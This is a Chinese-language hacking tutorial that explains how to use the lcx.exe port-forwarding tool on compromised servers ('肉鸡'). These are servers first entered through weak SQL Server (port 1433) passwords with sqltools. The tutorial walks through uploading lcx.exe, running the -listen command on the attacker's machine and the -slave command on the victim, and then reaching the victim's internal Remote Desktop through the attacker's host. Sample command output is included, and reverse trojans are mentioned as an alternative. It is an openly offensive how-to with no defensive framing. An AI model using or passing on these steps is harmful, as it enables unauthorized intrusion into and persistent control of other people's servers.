lcx.exe的使用方法
以前抓肉鸡都是通过1433弱口令,然后..
但是发现很多服务器开了1433,3389,但是终端是连不上的,因为服务器本身是在内网,只对外开放了1433端口,幸好有lcx.exe这个东西,用sqltools.exe传倒服务器上...
lcx.exe是个端口转发工具,相当于把肉鸡A上的3389端口转发到B机上,当然这个B机必须有外网IP.这样链接B机的3389度端口就相当于链接A机的3389.
用法:如在本机B上监听 -listen 51 3389，在肉鸡A上运行-slave 本机ip 51 肉鸡ip 3389 那么在本地连127.0.0.1就可以连肉鸡的3389.第二条是本机转向。
例:现在有一个ip为 201.1.1.1的1433弱.用端口扫描只发现开放了1433端口.用sqltools链接,dir 看一下 C:\>DIR C:\

2005/02/21 17:08 12,541 avgun.log。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。。
日语,显示不正常.呵呵.
netstat -an 查看开放端口 TCP 0.0.0.0:3376 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3791 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3877 0.0.0.0:0 LISTENING
终端已开.看下IP
ipconfig
C:\>ipconfig
Windows 2000 IP Configuration Ethernet adapter
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 192.168.1.24
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1192这样的是内网了...
现在可以用lcx.exe搞定了...
上传lcx.exe到肉鸡...C:\>dir lcx.exeC:\WINNT\system32
2006/04/02 13:40 32,768 lcx.exe首先在自己机子的cmd下运行
lcx.exe -listen 51 3389
意思是监听51端口并转发到3389端口
显示如下[+] Listening port 51 ......
[+] Listen OK!
[+] Listening port 3389 ......
[+] Listen OK!
[+] Waiting for Client on port:51 ......然后在肉鸡上运行 lcx.exe -slave 你的IP 51 201.1.1.1 3389
201.1.1.1是我举例用的肉鸡IP.换成你的..运行以后本机监听端口就会收到信息.[+] Listening port 51 ......
[+] Listen OK!
[+] Listening port 3389 ......
[+] Listen OK!
[+] Waiting for Client on port:51 ......
[+] Accept a Client on port 55 from 201.1.1.1 ......
[+] Waiting another Client on port:3389....好了.现在在自己机子上链接 127.0.0.1 或者输你自己IP.
发现进去的不是自己机子,(或者自己机子根本连不上),而是肉鸡A了!优点,搞定内网肉鸡.
缺点,有点麻烦,而且每次都要通过sqltools先进行端口转发.当然也可以用反弹木马控制肉鸡了...
